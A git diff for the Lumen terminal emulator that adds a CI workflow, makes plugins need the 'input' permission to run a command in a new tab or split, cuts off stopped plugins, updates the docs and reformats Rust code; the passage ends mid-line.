diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..02319fb --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,51 @@ +# Check every pull request and every push to main: Clippy with warnings as +# errors, the Rust tests, and the Python tests, on Linux and macOS. +# +# Like the release workflow, it uses no third-party actions, and GitHub's own +# are pinned to commits. +name: CI + +on: + pull_request: + push: + branches: [main] + +permissions: + contents: read + +# A newer push to the same branch or pull request replaces the run before it. +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + +env: + CARGO_TERM_COLOR: always + +jobs: + test: + name: ${{ matrix.name }} + strategy: + fail-fast: false + matrix: + include: + # The same runners the releases are built on. + - { name: Linux, runner: ubuntu-22.04 } + - { name: macOS, runner: macos-15 } + runs-on: ${{ matrix.runner }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + - name: Install build dependencies + if: runner.os == 'Linux' + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends pkg-config \ + libxkbcommon-dev libxkbcommon-x11-dev libxcb1-dev libx11-xcb-dev \ + libfreetype-dev libfontconfig-dev libwayland-dev libvulkan-dev + - run: rustup toolchain install stable --profile minimal --component clippy --component rustfmt && rustup default stable + - run: cargo fmt --check + - run: cargo clippy --locked --all-targets -- -D warnings + - run: cargo test --locked + - name: Python tests + run: | + python3 -m unittest discover -s python/tests + python3 -m unittest discover -s plugins/tests diff --git a/Cargo.lock b/Cargo.lock index 72d7944..1c55064 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4400,28 +4400,6 @@ dependencies = [ "toml_edit 0.25.17+spec-1.1.0", ] -[[package]] -name = "proc-macro-error-attr2" -version = "2.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" -dependencies = [ - "proc-macro2", - "quote", -] - -[[package]] -name = "proc-macro-error2" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" -dependencies = [ - "proc-macro-error-attr2", - "proc-macro2", - "quote", - "syn 2.0.119", -] - [[package]] name = "proc-macro2" version = "1.0.107" @@ -5673,9 +5651,9 @@ dependencies = [ [[package]] name = "stacksafe" -version = "0.1.4" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d9c1172965d317e87ddb6d364a040d958b40a1db82b6ef97da26253a8b3d090" +checksum = "95f9c34983ac74195c710c473db6fdf1085f64a47dbaa0090d1bea03be70da66" dependencies = [ "stacker", "stacksafe-macro", @@ -5683,13 +5661,13 @@ dependencies = [ [[package]] name = "stacksafe-macro" -version = "0.1.4" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "172175341049678163e979d9107ca3508046d4d2a7c6682bee46ac541b17db69" +checksum = "6feeae42a2d6b0dcb8aeb2f08d9e48cdac600239cf8a20fc59f9e252e86bdfe1" dependencies = [ - "proc-macro-error2", + "proc-macro2", "quote", - "syn 2.0.119", + "syn 3.0.9", ] [[package]] diff --git a/README.md b/README.md index b31994c..831f0b4 100644 --- a/README.md +++ b/README.md @@ -188,7 +188,7 @@ sessions. See [Commands](docs/commands.md). | [Shell integration](docs/shell-integration.md) | What it adds, how it loads, using it over SSH | | [Commands](docs/commands.md) | `lumen info` and `lumen campfire` | | [Scripting](docs/scripting.md) | `lumen msg`, events and the socket protocol | -| [Built-in plugins](docs/builtin-plugins.md) | The seven plugins that come with Lumen | +| [Built-in plugins](docs/builtin-plugins.md) | The four plugins that come with Lumen | | [Plugin guide](docs/plugins.md) | Writing plugins in Python | | [Plugin protocol](docs/plugin-protocol.md) | Writing plugins in any language, and permissions | | [Files and session](docs/files.md) | Where Lumen keeps things, and its environment variables | diff --git a/docs/builtin-plugins.md b/docs/builtin-plugins.md index 99678f7..a2d1b7c 100644 --- a/docs/builtin-plugins.md +++ b/docs/builtin-plugins.md @@ -20,7 +20,7 @@ first time. | **Recent Directories** (`recent-dirs`) | Remembers the folders your shells visit. **Go to Recent Directory** (Ctrl+Shift+J, ⌘⇧J) lists them, most used and most recent first, and `cd`s the pane to the one you pick. If the pane is busy, it opens a new tab there instead. | `input`, `panes` | | **Command History** (`command-history`) | Keeps every command from every pane and session, with its exit status, duration and folder. **Search Command History** (Ctrl+Shift+H, ⌘⇧H) types the one you pick without pressing Enter. **Rerun Last Failed Command** (Ctrl+Shift+R, ⌘⇧R) shows the last failure and its folder, and runs it again there once you confirm. **Clear Command History** forgets it all. Commands starting with a space aren't kept. | `screen`, `input` | | **Switch Git Branch** (`git-branch`) | Alt+B lists the branches of the pane's repository, newest first, and switches to the one you pick. | `input` | -| **SSH to Host** (`ssh-hosts`) | Ctrl+Shift+S (⌘⇧S) lists the hosts in `~/.ssh/config` (and files it `Include`s) and opens the one you pick in a new tab named after it. | `panes` | +| **SSH to Host** (`ssh-hosts`) | Ctrl+Shift+S (⌘⇧S) lists the hosts in `~/.ssh/config` (and files it `Include`s) and opens the one you pick in a new tab named after it. | `panes`, `input` | Most of them need [shell integration](shell-integration.md) to know folders and commands. diff --git a/docs/development.md b/docs/development.md index 98d90e3..4091bf9 100644 --- a/docs/development.md +++ b/docs/development.md @@ -29,6 +29,10 @@ python3 -m unittest discover -s python/tests # the Python package python3 -m unittest discover -s plugins/tests # the built-in plugins ``` +Pull requests and pushes to `main` run these, and `cargo clippy` with +warnings as errors, on Linux and macOS +([the workflow](../.github/workflows/ci.yml)). + ## Source layout | File | What it does | @@ -69,6 +73,7 @@ python3 -m unittest discover -s plugins/tests # the built-in plugins | `dist/install.sh` | The installer `lumenshell.dev/install` serves: downloads a release, checks it and installs it | | `dist/homebrew/lumen.rb` | The Homebrew cask; each release fills it in and pushes it to `lumenshell/homebrew-tap` | | `.github/workflows/release.yml` | Builds Linux and macOS releases when a `v*` tag is pushed ([how to release](#releasing)) | +| `.github/workflows/ci.yml` | Runs Clippy and the tests on every pull request and push to `main` | | `examples/` | Scripts using `lumen msg` and the socket API, and example plugins | | `python/` | `lumen_plugin`, the Python package for plugins (built into Lumen), and its tests | | `plugins/` | The built-in plugins (built into Lumen; turned on in Plugins), and tests | diff --git a/docs/install.md b/docs/install.md index ff3e453..d480020 100644 --- a/docs/install.md +++ b/docs/install.md @@ -34,9 +34,10 @@ brew install --cask lumenshell/tap/lumen ## The first launch on macOS -Apple hasn't notarized the app yet. The first time you open it, macOS may say -it can't check it for malware. Right-click Lumen.app, choose **Open**, then -**Open** again. Or allow it in System Settings > Privacy & Security. +Lumen.app is signed with an Apple Developer ID and notarized by Apple, so it +opens like any other app. A version you [build yourself](#building-from-source) +isn't: the first time, right-click it and choose **Open**, or allow it in +System Settings > Privacy & Security. ## Installing by hand diff --git a/docs/plugin-protocol.md b/docs/plugin-protocol.md index 6e85539..398c404 100644 --- a/docs/plugin-protocol.md +++ b/docs/plugin-protocol.md @@ -21,6 +21,14 @@ If a plugin exits, Lumen restarts it. After quick crashes, it waits 1, 2, 5, Each plugin runs as its own process, so a slow or crashing plugin can't freeze Lumen. +When a plugin is stopped (turned off, removed, replaced by a new version, or +Lumen quits), it loses its connection at once: its stdin closes, nothing more +it asks for is carried out, it's sent no more events, and its panes close. It +and every process it started are sent SIGTERM, and SIGKILL two seconds later +if they're still there. A program that should outlive the plugin, such as a +browser it opened, has to be started in a session of its own (`setsid`, or +`start_new_session=True` in Python). + ## The manifest ``` @@ -128,7 +136,7 @@ starts. | Permission | Allows | |---|---| | `panes` | `new-tab`, `split`, `focus`, `close`, `set-title`, `set-tab-style`, `set-pane-style`, `move-tab`, `quick-terminal`, and drawing its own plugin panes (`write`) | -| `input` | `send-text`, `run-action`: typing into panes, which can run any command | +| `input` | `send-text`, `run-action`, and `run` on `new-tab` and `split`: typing into panes, which can run any command | | `screen` | `read-screen`, and the command text in `command-finished` events | A plugin missing a permission gets a JSON-RPC error saying which one to add. diff --git a/docs/plugins.md b/docs/plugins.md index a34a16e..d149341 100644 --- a/docs/plugins.md +++ b/docs/plugins.md @@ -315,7 +315,7 @@ permissions = ["panes", "input"] | Permission | Allows | |---|---| | `panes` | `new_tab`, `split`, `focus`, `close`, `set_title`, `set_tab_style`, `set_pane_style`, `move_tab`, and drawing your own plugin panes | -| `input` | `send_text`, `run`, `run_action`: typing into panes, which can run any command | +| `input` | `send_text`, `run`, `run_action`, and `run=` on `new_tab` and `split`: typing into panes, which can run any command | | `screen` | `read_screen`, and `command` in `command-finished` events | A call without the permission raises `LumenError` with `code == -32001` and a @@ -382,7 +382,7 @@ else uses the most recently started Lumen. | `await panes()` | Every pane as a dict (`id`, `title`, `cwd`, `cols`, `rows`, `last_exit`, `active`, `focused`, `plugin_pane`, `tab`, `window`). | | `await focused()` | The focused `Pane`, or None. | | `pane(id)` | A `Pane` for an id. | -| `await new_tab(cwd=None, run=None, plugin_pane=False)` | Open a tab (`~` works in `cwd`); returns its `Pane`, or a `PluginPane` with `plugin_pane=True`. `panes` | +| `await new_tab(cwd=None, run=None, plugin_pane=False)` | Open a tab (`~` works in `cwd`); returns its `Pane`, or a `PluginPane` with `plugin_pane=True`. `panes`, and `input` with `run` | | `await pick(items, placeholder=None, message=None)` | Palette picker; returns the chosen id or None. Items: strings, `(id, label)`, `(id, label, detail)` or dicts. `message` is wrapped text under the input. | | `await prompt(placeholder=None, message=None, initial="")` | Text input in the palette; returns the trimmed text, or None for Esc or empty. | | `await confirm(question, message=None, yes="Yes", no="No")` | Yes/no in the palette; Esc is no. | @@ -401,7 +401,7 @@ else uses the most recently started Lumen. | `await send_text(text)` | Type text as-is. `input` | | `await run(command)` | Type a command and press Enter; a list is quoted word by word. `input` | | `await read_screen(lines=None)` | The screen's text, or its last `lines` lines. `screen` | -| `await split(direction="right", cwd=None, run=None, focus=True, size=None, plugin_pane=False)` | Split it; returns the new `Pane` (a `PluginPane` with `plugin_pane=True`). `size`: a fraction, or rows/columns. `panes` | +| `await split(direction="right", cwd=None, run=None, focus=True, size=None, plugin_pane=False)` | Split it; returns the new `Pane` (a `PluginPane` with `plugin_pane=True`). `size`: a fraction, or rows/columns. `panes`, and `input` with `run` | | `await set_title(title=None)` | Name its tab; None goes back to the program's title. `panes` | | `await set_pane_style(label=…, color=…)` | Label (up to 32 characters) drawn above the pane when its tab is split, and a tint (`TAB_COLORS` or `"#rrggbb"`); None removes, left out stays. They go when the plugin stops. `panes` | | `await set_tab_style(badge=…, color=…, short_badge=None)` | Badge beside its tab's title (up to 24 characters) and a tint (`TAB_COLORS` or `"#rrggbb"`); None removes, left out stays. `short_badge` (up to 8 characters) shows instead when the tab is too narrow. `panes` | diff --git a/plugins/ssh-hosts/plugin.toml b/plugins/ssh-hosts/plugin.toml index 72ed5c1..b16ec61 100644 --- a/plugins/ssh-hosts/plugin.toml +++ b/plugins/ssh-hosts/plugin.toml @@ -1,4 +1,5 @@ description = "Pick a host from ~/.ssh/config and open it in a new tab (Ctrl+Shift+S, ⌘⇧S on macOS)" -version = "1.0.0" +version = "1.0.1" command = "python3 main.py" -permissions = ["panes"] +# panes: to open the tab. input: to run ssh in it. +permissions = ["panes", "input"] diff --git a/python/lumen_plugin/__init__.py b/python/lumen_plugin/__init__.py index 90e5266..d82e46b 100644 --- a/python/lumen_plugin/__init__.py +++ b/python/lumen_plugin/__init__.py @@ -211,7 +211,7 @@ async def split( ) -> "Pane": """Split this pane ("right" or "down") and return the new one, which starts in `cwd` (default: this pane's directory; ~ works) and runs `run` (a - string, or a list to quote). Needs `panes`. + string, or a list to quote). Needs `panes`, and `input` to `run`. With `plugin_pane=True` the new pane runs nothing: you draw it, and get what's typed in it. It returns a PluginPane. @@ -549,7 +549,7 @@ def pane(self, id: int) -> Pane: async def new_tab(self, *, cwd=None, run=None, plugin_pane: bool = False) -> Pane: """Open a tab in `cwd` (~ works) and return its pane. `run` is a string, or a list to quote. With `plugin_pane=True`, the tab holds a - PluginPane for you to draw. Needs `panes`.""" + PluginPane for you to draw. Needs `panes`, and `input` to `run`.""" if plugin_pane: if cwd is not None or run is not None: raise ValueError("a plugin pane runs no program, so takes no cwd or run") diff --git a/python/pyproject.toml b/python/pyproject.toml index 3f291fa..9098142 100644 --- a/python/pyproject.toml +++ b/python/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "lumen-plugin" -version = "1.0.0" +dynamic = ["version"] description = "Write plugins and scripts for the Lumen terminal in Python" readme = "README.md" requires-python = ">=3.8" @@ -13,3 +13,7 @@ dependencies = [] [tool.setuptools] packages = ["lumen_plugin"] + +# The one place the version is written: lumen_plugin/__init__.py. +[tool.setuptools.dynamic] +version = {attr = "lumen_plugin.__version__"} diff --git a/rustfmt.toml b/rustfmt.toml new file mode 100644 index 0000000..c775577 --- /dev/null +++ b/rustfmt.toml @@ -0,0 +1,2 @@ +max_width = 120 +use_small_heuristics = "Max" diff --git a/src/api.rs b/src/api.rs index 1dc9e6a..ab15710 100644 --- a/src/api.rs +++ b/src/api.rs @@ -13,8 +13,9 @@ use std::io::{BufRead, BufReader, Read, Write}; use std::os::unix::fs::{DirBuilderExt, MetadataExt, PermissionsExt}; use std::os::unix::net::{UnixListener, UnixStream}; use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::mpsc; -use std::sync::{Mutex, OnceLock}; +use std::sync::{Arc, Mutex, OnceLock}; use futures::StreamExt; use futures::channel::{mpsc as fmpsc, oneshot}; @@ -157,15 +158,26 @@ impl Caller { fn required(method: &str) -> Option { match method { "new-tab" | "split" | "focus" | "close" | "set-title" | "move-tab" | "set-tab-style" | "set-pane-style" - | "write" | "quick-terminal" => { - Some(Permission::Panes) - } + | "write" | "quick-terminal" => Some(Permission::Panes), "send-text" | "run-action" => Some(Permission::Input), "read-screen" => Some(Permission::Screen), _ => None, } } +/// Every permission a request needs: the method's own, and `input` for a +/// `run` on `new-tab` or `split`, which is typed into the new pane's shell +/// like `send-text`. Parameter-dependent rules belong here, beside the +/// method's own, so there's one place to look. +fn needed(method: &str, params: &Value) -> Vec { + let mut all: Vec = required(method).into_iter().collect(); + let runs = matches!(method, "new-tab" | "split") && params.get("run").is_some_and(|r| !r.is_null()); + if runs { + all.push(Permission::Input); + } + all +} + /// The connection a request came in on: plugin panes it opens send their /// input back over it, and close when it does. #[derive(Clone)] @@ -350,28 +362,85 @@ fn serve_connection(stream: UnixStream, jobs: Jobs) { /// A thread writing lines to `w`; replies and events share it, so lines /// never interleave. Ends when `w` can't be written. -pub fn writer(mut w: impl Write + Send + 'static) -> mpsc::Sender { +pub fn writer(w: impl Write + Send + 'static) -> mpsc::Sender { + writer_until(w, None) +} + +/// [`writer`], which also ends (closing `w`, and so refusing every later +/// reply and event) soon after `revoked` is set. +pub fn writer_until(mut w: impl Write + Send + 'static, revoked: Option>) -> mpsc::Sender { let (out, lines) = mpsc::channel::(); std::thread::spawn(move || { - for line in lines { - if w.write_all(line.as_bytes()).and_then(|_| w.write_all(b"\n")).and_then(|_| w.flush()).is_err() { - break; + let gone = || revoked.as_ref().is_some_and(|r| r.load(Ordering::SeqCst)); + loop { + let line = match &revoked { + None => lines.recv().map_err(|_| mpsc::RecvTimeoutError::Disconnected), + Some(_) => lines.recv_timeout(REVOKE_CHECK), + }; + match line { + _ if gone() => break, + Ok(line) => { + if w.write_all(line.as_bytes()).and_then(|_| w.write_all(b"\n")).and_then(|_| w.flush()).is_err() { + break; + } + } + Err(mpsc::RecvTimeoutError::Timeout) => {} + Err(mpsc::RecvTimeoutError::Disconnected) => break, } } }); out } +/// How often a revocable writer looks at its flag while nothing is sent. +const REVOKE_CHECK: std::time::Duration = std::time::Duration::from_millis(50); + +/// A connection id, for [`serve_conn`] and [`disconnect`]. +pub fn new_conn() -> u64 { + NEXT_CONN.fetch_add(1, Ordering::Relaxed) +} + /// Read requests line by line from `reader` until it closes, answering on `out`. -pub fn serve_lines(mut reader: impl BufRead, out: &mpsc::Sender, jobs: &Jobs, caller: &Caller) { - let origin = Origin { conn: NEXT_CONN.fetch_add(1, std::sync::atomic::Ordering::Relaxed), out: out.clone() }; - read_requests(&mut reader, &origin, jobs, caller); +pub fn serve_lines(reader: impl BufRead, out: &mpsc::Sender, jobs: &Jobs, caller: &Caller) { + serve_conn(reader, new_conn(), out, jobs, caller, None); +} + +/// [`serve_lines`] as connection `conn`. Once `revoked` is set, nothing more +/// it sends is carried out. +pub fn serve_conn( + mut reader: impl BufRead, + conn: u64, + out: &mpsc::Sender, + jobs: &Jobs, + caller: &Caller, + revoked: Option<&AtomicBool>, +) { + let origin = Origin { conn, out: out.clone() }; + read_requests(&mut reader, &origin, jobs, caller, revoked); + disconnect(jobs, caller, conn); +} + +/// Tell the UI connection `conn` is over: its plugin panes close and its +/// tab and pane styles go. Harmless to say twice. +pub fn disconnect(jobs: &Jobs, caller: &Caller, conn: u64) { let (reply, _) = oneshot::channel(); - let params = json!({ "conn": origin.conn }); - let _ = jobs.unbounded_send(Job { caller: caller.clone(), method: "_disconnected".into(), params, reply, origin: None }); + let params = json!({ "conn": conn }); + let _ = jobs.unbounded_send(Job { + caller: caller.clone(), + method: "_disconnected".into(), + params, + reply, + origin: None, + }); } -fn read_requests(mut reader: impl BufRead, origin: &Origin, jobs: &Jobs, caller: &Caller) { +fn read_requests( + mut reader: impl BufRead, + origin: &Origin, + jobs: &Jobs, + caller: &Caller, + revoked: Option<&AtomicBool>, +) { let out = &origin.out; let mut buf = Vec::new(); loop { @@ -388,6 +457,10 @@ fn read_requests(mut reader: impl BufRead, origin: &Origin, jobs: &Jobs, caller: if text.trim().is_empty() { continue; } + // A stopped plugin's requests are dropped, even ones already on their way. + if revoked.is_some_and(|r| r.load(Ordering::SeqCst)) { + break; + } if let Some(reply) = handle_line(&text, jobs, origin, caller) { let _ = out.send(reply); } @@ -436,12 +509,13 @@ fn handle_line(text: &str, jobs: &Jobs, origin: &Origin, caller: &Caller) -> Opt }; let params = msg.get("params").cloned().unwrap_or_else(|| json!({})); - if let (Caller::Plugin { name, .. }, Some(p)) = (caller, required(&method)) - && !caller.may(p) + if let Caller::Plugin { name, .. } = caller + && let Some(p) = needed(&method, ¶ms).into_iter().find(|p| !caller.may(*p)) { + let what = if required(&method) == Some(p) { method.clone() } else { format!("{method} with `run`") }; let e = ApiError( -32001, - format!("plugin \"{name}\" needs the \"{}\" permission for {method}; add it to its plugin.toml", p.name()), + format!("plugin \"{name}\" needs the \"{}\" permission for {what}; add it to its plugin.toml", p.name()), ); return id.map(|id| error_response(id, e)); } @@ -541,6 +615,36 @@ mod tests { assert_eq!(required("plugin-status"), None); } + #[test] + fn running_a_command_in_a_new_pane_needs_input_too() { + use Permission::{Input, Panes}; + for method in ["new-tab", "split"] { + assert_eq!(needed(method, &json!({})), [Panes]); + assert_eq!(needed(method, &json!({"run": null, "cwd": "~"})), [Panes]); + assert_eq!(needed(method, &json!({"run": "make"})), [Panes, Input]); + } + // `run` means nothing elsewhere. + assert_eq!(needed("focus", &json!({"run": "make"})), [Panes]); + assert_eq!(needed("list", &json!({"run": "make"})), []); + + // A plugin with only `panes` is refused before anything is opened. + let (jobs, mut asked) = fmpsc::unbounded(); + let (out, _events) = mpsc::channel(); + let origin = Origin { conn: 0, out }; + let caller = Caller::Plugin { name: "p".into(), perms: vec![Panes] }; + let reply = handle_line( + r#"{"jsonrpc":"2.0","method":"new-tab","params":{"run":"make"},"id":1}"#, + &jobs, + &origin, + &caller, + ); + let reply: Value = serde_json::from_str(&reply.unwrap()).unwrap(); + assert_eq!(reply["error"]["code"], -32001); + let message = reply["error"]["message"].as_str().unwrap(); + assert!(message.contains("\"input\" permission for new-tab with `run`"), "{message}"); + assert!(asked.try_recv().is_err(), "nothing reached the UI"); + } + fn line(text: &str) -> (Option, mpsc::Receiver) { let (jobs, _rx) = fmpsc::unbounded(); let (out, events) = mpsc::channel(); diff --git a/src/boxdraw.rs b/src/boxdraw.rs index 4b9d382..f6f716f 100644 --- a/src/boxdraw.rs +++ b/src/boxdraw.rs @@ -13,7 +13,13 @@ pub enum Shape { Rect(Bounds, f32), /// A rounded corner: draw `quad` with only the borders on `corner`'s two /// sides, clipped to `clip`. - Arc { quad: Bounds, clip: Bounds, corner: Corner, radius: Pixels, width: Pixels }, + Arc { + quad: Bounds, + clip: Bounds, + corner: Corner, + radius: Pixels, + width: Pixels, + }, Polygon(Vec>), Polyline(Vec>, Pixels), } @@ -88,6 +94,7 @@ const DOUBLE: u8 = 3; /// Arms of U+2500..=U+257F as "urdl" digits (0 none, 1 light, 2 heavy, /// 3 double). `-`/`|` are dashed (horizontal/vertical, followed by the /// weight and dash count), `a` is a rounded corner, `x` a diagonal. +#[rustfmt::skip] const BOX: [&str; 128] = [ // 2500 "0101", "0202", "1010", "2020", "-13", "-23", "|13", "|23", @@ -197,10 +204,7 @@ fn joined(cell: &Cell, arms: [u8; 4], t: f32) -> Vec { 0.0 } }; - vec![ - (band(-d, t), near(side_a, side_b)), - (band(d, t), near(side_b, side_a)), - ] + vec![(band(-d, t), near(side_a, side_b)), (band(d, t), near(side_b, side_a))] } else { // Reach across the centre far enough to cover perpendicular arms. let own = band(0.0, thick(w)); @@ -248,10 +252,10 @@ fn arc(code: u32, cell: &Cell, t: f32) -> Vec { let clip = Bounds::new(point(px(cell.x0), px(cell.y0)), size(px(cell.w()), px(cell.h()))); let big = cell.w() + cell.h(); let (corner, x, y) = match code { - 0x256D => (Corner::TopLeft, cx - a, cy - a), // ╭ - 0x256E => (Corner::TopRight, cx - big + t - a, cy - a), // ╮ + 0x256D => (Corner::TopLeft, cx - a, cy - a), // ╭ + 0x256E => (Corner::TopRight, cx - big + t - a, cy - a), // ╮ 0x256F => (Corner::BottomRight, cx - big + t - a, cy - big + t - a), // ╯ - _ => (Corner::BottomLeft, cx - a, cy - big + t - a), // ╰ + _ => (Corner::BottomLeft, cx - a, cy - big + t - a), // ╰ }; let quad = Bounds::new(point(px(x), px(y)), size(px(big), px(big))); vec![Shape::Arc { quad, clip, corner, radius: px(r), width: px(t) }] @@ -299,11 +303,7 @@ fn blocks(code: u32, cell: &Cell) -> Vec { (0b0010, x0, my, mx, y1), (0b0001, mx, my, x1, y1), ]; - quads - .iter() - .filter(|q| bits & q.0 != 0) - .map(|&(_, a, b, c, d)| rect(a, b, c, d)) - .collect() + quads.iter().filter(|q| bits & q.0 != 0).map(|&(_, a, b, c, d)| rect(a, b, c, d)).collect() } } } diff --git a/src/campfire.rs b/src/campfire.rs index 5837ce3..4fe8381 100644 --- a/src/campfire.rs +++ b/src/campfire.rs @@ -81,10 +81,8 @@ pub fn run(args: &[String]) -> i32 { eprintln!("lumen campfire: it needs a terminal to burn in"); return 1; } - let settings = config_path() - .and_then(|p| std::fs::read_to_string(p).ok()) - .map(|t| Settings::parse(&t)) - .unwrap_or_default(); + let settings = + config_path().and_then(|p| std::fs::read_to_string(p).ok()).map(|t| Settings::parse(&t)).unwrap_or_default(); let theme = settings.theme(); let look = Look { bg: rgb_of(theme.pane), hint: rgb_of(theme.subtext), dark: !theme.is_light }; burn(&look) @@ -269,9 +267,7 @@ impl Rng { } fn seed() -> u64 { - let nanos = std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map_or(0, |d| d.as_nanos() as u64); + let nanos = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map_or(0, |d| d.as_nanos() as u64); (nanos ^ (std::process::id() as u64) << 32) | 1 } @@ -763,7 +759,8 @@ impl Fire { if e > 1.0 { continue; } - let glow = noise(x as f32 * 0.45 + 7.0, y as f32 * 0.6 - self.t * 0.5) * (1.0 - 0.5 * e) * flicker * 1.3; + let glow = + noise(x as f32 * 0.45 + 7.0, y as f32 * 0.6 - self.t * 0.5) * (1.0 - 0.5 * e) * flicker * 1.3; px[y * self.w + x] = EMBERS[(dither(glow.min(1.0), 3.0, x, y) * 3.0).round() as usize]; } } @@ -806,7 +803,9 @@ impl Fire { let inside = (1.0 - (p0 - l.cx).abs() / l.hw).clamp(0.0, 1.0); if inside > 0.35 && side > 0.45 { // A glowing seam where the flames lick it. - let hot = noise(along * 0.25 + which * 13.0, self.t * 0.6) * (0.5 + inside) * (1.0 + 0.5 * self.surge); + let hot = noise(along * 0.25 + which * 13.0, self.t * 0.6) + * (0.5 + inside) + * (1.0 + 0.5 * self.surge); EMBERS[((hot * 3.0).round() as usize).clamp(1, 3)] } else if inside > 0.35 { CHARCOAL @@ -856,12 +855,19 @@ impl Fire { if !inside(fx, fy) { continue; } - let edge = !(inside(fx - 1.0, fy) && inside(fx + 1.0, fy) && inside(fx, fy - 1.0) && inside(fx, fy + 1.0)); + let edge = + !(inside(fx - 1.0, fy) && inside(fx + 1.0, fy) && inside(fx, fy - 1.0) && inside(fx, fy + 1.0)); let dx = (fx + 0.5 - c[0]) / rad[0]; let dy = (fy + 0.5 - c[1]) / rad[1]; let toward = if c[0] < l.cx { dx } else { -dx }; // 1 on the fire's side let lit = -dy * 0.6 + toward * 0.5; - let tone = if lit > 0.3 { STONE_LIGHT } else if lit > -0.25 { STONE } else { STONE_DARK }; + let tone = if lit > 0.3 { + STONE_LIGHT + } else if lit > -0.25 { + STONE + } else { + STONE_DARK + }; px[y * self.w + x] = if outlined && edge { OUTLINE } else if toward > 0.35 && lit > -0.25 { @@ -881,7 +887,8 @@ fn fire_color(heat: f32, x: usize, y: usize) -> Option { FIRE.iter().rev().find(|(from, _)| heat >= *from).map(|(_, c)| *c) } -const BAYER: [[f32; 4]; 4] = [[0.0, 8.0, 2.0, 10.0], [12.0, 4.0, 14.0, 6.0], [3.0, 11.0, 1.0, 9.0], [15.0, 7.0, 13.0, 5.0]]; +const BAYER: [[f32; 4]; 4] = + [[0.0, 8.0, 2.0, 10.0], [12.0, 4.0, 14.0, 6.0], [3.0, 11.0, 1.0, 9.0], [15.0, 7.0, 13.0, 5.0]]; /// An ordered-dither threshold for a pixel, in (0, 1). fn bayer(x: usize, y: usize) -> f32 { diff --git a/src/cli.rs b/src/cli.rs index d00ee80..820ccf6 100644 --- a/src/cli.rs +++ b/src/cli.rs @@ -347,7 +347,13 @@ fn list_text(result: &Value) -> String { tab["title"].as_str().unwrap_or("") )); for p in tab["panes"].as_array().into_iter().flatten() { - let marker = if p["focused"] == true { "*" } else if p["active"] == true { "+" } else { " " }; + let marker = if p["focused"] == true { + "*" + } else if p["active"] == true { + "+" + } else { + " " + }; let cwd = p["cwd"].as_str().unwrap_or("?"); let cwd = match cwd.strip_prefix(&home) { Some(rest) if !home.is_empty() => format!("~{rest}"), @@ -447,7 +453,8 @@ mod tests { #[test] fn parses_flags_and_positionals() { - let a = parse(&s(&["down", "--cwd", "/tmp", "--run=make test", "--no-focus"]), &["cwd", "run"], &["no-focus"]).unwrap(); + let a = parse(&s(&["down", "--cwd", "/tmp", "--run=make test", "--no-focus"]), &["cwd", "run"], &["no-focus"]) + .unwrap(); assert_eq!(a.positional, vec!["down"]); assert_eq!(a.options["cwd"], "/tmp"); assert_eq!(a.options["run"], "make test"); diff --git a/src/glyphs.rs b/src/glyphs.rs index 149e554..bac6fd0 100644 --- a/src/glyphs.rs +++ b/src/glyphs.rs @@ -8,7 +8,7 @@ use std::collections::HashMap; -use gpui::{App, Font, FontId, GlyphId, Global, Hsla, Pixels, SharedString, TextRun, WindowTextSystem}; +use gpui::{App, Font, FontId, Global, GlyphId, Hsla, Pixels, SharedString, TextRun, WindowTextSystem}; #[derive(Clone, Copy)] pub struct Glyph { @@ -23,8 +23,27 @@ pub struct Glyph { pub fn joins(c: char) -> bool { matches!( c, - '!' | '#' | '$' | '%' | '&' | '*' | '+' | '-' | '.' | '/' | ':' | ';' | '<' | '=' | '>' - | '?' | '@' | '\\' | '^' | '_' | '|' | '~' + '!' | '#' + | '$' + | '%' + | '&' + | '*' + | '+' + | '-' + | '.' + | '/' + | ':' + | ';' + | '<' + | '=' + | '>' + | '?' + | '@' + | '\\' + | '^' + | '_' + | '|' + | '~' ) } @@ -115,12 +134,7 @@ fn shape(text: &WindowTextSystem, font: &Font, size: Pixels, s: &str) -> Box<[Gl line.runs .iter() .flat_map(|run| { - run.glyphs.iter().map(|g| Glyph { - font_id: run.font_id, - id: g.id, - x: g.position.x, - emoji: g.is_emoji, - }) + run.glyphs.iter().map(|g| Glyph { font_id: run.font_id, id: g.id, x: g.position.x, emoji: g.is_emoji }) }) .collect() } diff --git a/src/hotkey.rs b/src/hotkey.rs index c91e85b..812bb7a 100644 --- a/src/hotkey.rs +++ b/src/hotkey.rs @@ -3,9 +3,11 @@ /// X11 modifier masks. const SHIFT: u16 = 1; +#[cfg(target_os = "linux")] const LOCK: u16 = 2; const CONTROL: u16 = 4; const ALT: u16 = 8; +#[cfg(target_os = "linux")] const NUM_LOCK: u16 = 16; const SUPER: u16 = 64; @@ -99,11 +101,8 @@ pub fn grab(key: Hotkey, pressed: impl Fn() + Send + 'static) -> Result i32 { let color = stdout.is_terminal() && std::env::var_os("NO_COLOR").is_none_or(|v| v.is_empty()) && std::env::var("TERM").as_deref() != Ok("dumb"); - let settings = config_path() - .and_then(|p| std::fs::read_to_string(p).ok()) - .map(|t| Settings::parse(&t)) - .unwrap_or_default(); + let settings = + config_path().and_then(|p| std::fs::read_to_string(p).ok()).map(|t| Settings::parse(&t)).unwrap_or_default(); // Ask for the public IP while everything else is gathered. let ip = look_up_ip.then(spawn_ip_lookup); let mut facts = facts(&settings); @@ -237,11 +235,9 @@ fn flame_lines(t: f32, theme: &Theme, color: bool) -> Vec { (false, false) => line.push_str("\x1b[0m "), (true, false) => line.push_str(&format!("\x1b[0m{}▀", 